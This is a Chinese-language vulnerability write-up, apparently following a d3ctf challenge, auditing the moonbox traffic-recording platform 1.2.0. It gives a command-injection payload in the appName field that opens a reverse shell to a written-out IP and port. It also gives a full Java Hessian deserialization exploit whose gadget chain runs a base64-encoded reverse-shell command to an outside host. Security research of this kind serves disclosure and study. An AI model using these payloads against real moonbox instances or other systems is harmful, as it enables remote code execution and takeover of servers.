前言

d3ctf遇到这题,打完题后对别的点进行了简单审计。

审计结果:

1、知道某台机的ssh账密,可以注入命令然后执行。

2、在不知道本机的账密的情况下,尝试注入命令,注入的命令会被url编码,无法被执行。

3、存在多处任意的hessian反序列化点。

环境搭建

版本:最新版,1.2.0,直接使用项目自带的docker

手动添加调试命令,修改docker-compose.yml即可

command: bash -c "/etc/init.d/ssh start; cd /bin; rm sh; ln -s bash sh; java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005 -jar /moonbox/moon-box-web"

image-20240430080306595.png

使用源码

远程环境使用docker,本地debug时用的源码,出现断点对不上的问题。

比如把断点打在Controller的updateTemplate上,但是运行后,程序确实在updateTemplate方法处停止,但是idea显示的断点在上面。

image-20240430081259203.png

image-20240430081346133.png

猜测jar包不是这份源码编译的。换一种方式搭建

使用jar包

把docker环境里的moon-box-web这个jar复制出来,里面的lib也取出来,然后add as library

image-20240430080506724.png

搭建完后,开始调试,出现了3种情况:

1、直接打在方法的断点可以被远程识别,而打在方法体里面无法被识别。

每打一个断点,idea会把断点信息发给远程,远程识别后再发回来,若远程正确识别,则idea的断点符号显示一个勾。

image-20240430080710174.png

2、直接打在方法的断点,程序运行到这会停止,但是idea没有跟踪到断点。

image-20240430080758520.png

3、若把断点打在内部的代码里,即不直接打在Controller,一切正常。

image-20240430080930376.png

所以就直接这样吧,断点不断在Controller里面就行了。

命令拼接 远程执行

首先要大概理解moonbox 流量记录的大概原理:登录到远程机子,下载agent包,运行agent,开始录制。

新建一个录制

image-20240505140108603.png

image-20240505140147563.png

image-20240505140303315.png

image-20240505140423337.png

执行该录制时,会登录到远程机子,然后执行命令,调用栈如下:

image-20240505142018109.png

startServerAgent先通过getRemoteAgentStartCommand获取要在远程机执行的命令:

image-20240505142047273.png

可以看到这里有个命令拼接,appName参与了拼接,这个东西可控。

image-20240505142318906.png

然后继续执行,就是ssh登录,然后执行命令。

image-20240429221334507.png

接下来尝试注入命令。

正常情况下appName只有这两个选项

image-20240505142415645.png

但是抓包可以手动修改,把原来的appName修改为";/bin/bash -c '/bin/bash -i >&/dev/tcp/192.168.109.1/16666 0>&1';"

image-20240505142743938.png

此时再查看这个模板,成功修改

image-20240505142814438.png

然后在这个模板下新建录制,appName就是注入的命令了。

image-20240505142941949.png

image-20240505142958557.png

命令拼接 本地执行

上述执行方式条件是知道本地机或远程机的ssh账密,有点鸡肋,能不能在不知道本地机的账密的情况下打?

调用栈入口处startAgent,有两个选项,一个是startServerAgent,一个是startLocalAgent,有没有办法走local?

image-20240505143236843.png

往上追踪后,发现,只要把数据包的runEnv选项改为local即可。

image-20240505143557253.png

image-20240505143627551.png

直接打打不通,看看构造命令部分

image-20240505143744512.png

翻译一下就是,appName必须要在本地jvm进程里。因此无法注入。

看看别的变量,比如taskConfig,往上追踪

image-20240505144218457.png

这两个变量也是可控的。

新建一个正常的模板,然后把这两个选项修改。

image-20240505144529871.png

然后再在这个模板下运行录制

image-20240505144643338.png

可以看到命令成功注入,但是会经过url编码

image-20240505144824086.png

最终的command。

image-20240505144905477.png

因此无法注入可执行的命令了。

别的命令执行

查找javaCommandExecute使用的地方

image-20240429231536340.png

有一处installAgent,但是变量都不可控。

image-20240429231610571.png

命令执行已死。

hessian反序列化

序列化和反序列化是用来通信过程中传输对象的,而大概了解moonbox工作原理后,知道server和agent之间需要通信,那么存在反序列化点就变得合理起来。

反序列化点有很多,以该处说明:

image-20240505145313314.png

直接一个裸的反序列化,但是要求是RecordWrapper类型。

image-20240505145355186.png

相关的类:

image-20240505145518604.png

image-20240505145646348.png

payload构造方法:

有两种方式,但本质上都是一样,都是想办法往RecordWrapper里塞一个Map对象。

第一种:RecordWrapper的entranceInvocation设置为HttpInvocation,HttpInvocation的headers设置为恶意map即可。

第二种:创建一个list,这个list里放一个恶意map,然后把这个list赋给RecordWrapper的subInvocations,忽略泛型。

下面是第一种的exp:

public static void main(String[] args) throws Exception{

new AgentLoader("POC").loadAgent("E:\\ideaProjects\\Java-useful-agents\\Jackson\\target\\Jackson-agentmain.jar");
POJONode node1 = new POJONode(Gadget.getPOJONodeStableProxy(Gadget.getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMC43Ni4xMTguMjAyLzE2NjY2IDA+JjE=}|{base64,-d}|{bash,-i}")));
POJONode node2 = new POJONode(Gadget.getSingnedObject(node1));

HashMap hashMapXString = Gadget.get_HashMap_XString(node2);

RecordWrapper recordWrapper = new RecordWrapper();
HttpInvocation invocation = new HttpInvocation();
invocation.setHeaders(hashMapXString);
recordWrapper.setEntranceInvocation(invocation);

SerializerFactory factory = new SerializerFactory();
factory.setAllowNonSerializable(true);

byte[] serialize = serialize(recordWrapper, factory);
System.out.println(Base64.getEncoder().encodeToString(serialize));

}
public static <T> byte[] serialize(T t,SerializerFactory factory) {
byte[] data = null;
try {
Hessian2Output output = new Hessian2Output();
output.setSerializerFactory(factory);
output.writeObject(t);
data = (byte[])Util.getFieldValue(output,"_buffer");
} catch (Exception e) {
e.printStackTrace();
}
return data;
}

发包

image-20240505151300016.png

查看调用栈,反序列化链正常

image-20240505150759501.png